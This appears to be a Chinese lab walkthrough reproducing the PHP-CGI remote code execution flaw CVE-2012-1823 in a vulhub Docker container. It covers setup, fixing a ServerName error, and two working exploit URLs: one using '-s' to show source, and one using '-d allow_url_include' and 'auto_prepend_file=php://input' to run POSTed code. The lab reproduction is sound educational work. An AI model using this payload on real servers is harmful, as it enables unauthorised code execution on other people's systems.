PHP-CGI远程代码执行漏洞
CVE-2012-1823就是存在于以cgi模式运行的php中。
本质是用户请求的参数被作为了php-cgi的参数
影响版本
影响版本 php < 5.3.12 or php < 5.4.2
CVE-2012-1823漏洞复现
1. 启动环境
cd vulhub/php/CVE-2012-1823
docker-compose up #启动容器
docker-compose up -d #后台启动容器
docker ps #查看容器信息
docker ps -a #查看所有容器,包括在运行和没在运行中的
docker-compose down #关闭容器
docker-compose down -v #关闭容器
docker images #查看镜像
docker rmi 镜像ID #删除镜像
遇到的报错及解决方式
在启动docker容器时,提示ServerName错误
参考链接:https://www.orcy.net.cn/775.html
docker ps #查看正在运行的容器
docker start 容器ID #启动该容器
docker stop 容器ID #停止该容器
docker exec -it 容器ID bash #进入容器
启动容器,进入docker,查看对应配置文件:
cat /etc/apache2/sites-enabled/000-default.conf
发现ServerName被注释
ls -al #查看目录下的文件及权限
发现000-default.conf为链接,指向旁边的文件
由于容器里没有vi编辑器,找到该文件复制到本地
docker cp 容器ID:/etc/apache2/sites-available/000-default.conf ./ #从容器中复制文件到本机
docker cp ./000-default.conf 容器ID:/etc/apache2/sites-available/ #把本机的文件复制到容器中
将配置文件从容器中复制出来修改,再复制回去
将ServerName位置添加所需IP
检查一下是否修改成功
2. 访问网页
3. 绕过执行命令
#查看源码 -s
http://127.0.0.1:8080/index.php?-s
#执行命令 -d
http://127.0.0.1:8080/index.php?-d+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input
POST部分输入执行命令
%3D对应“=”符号,%3A对应“:”符号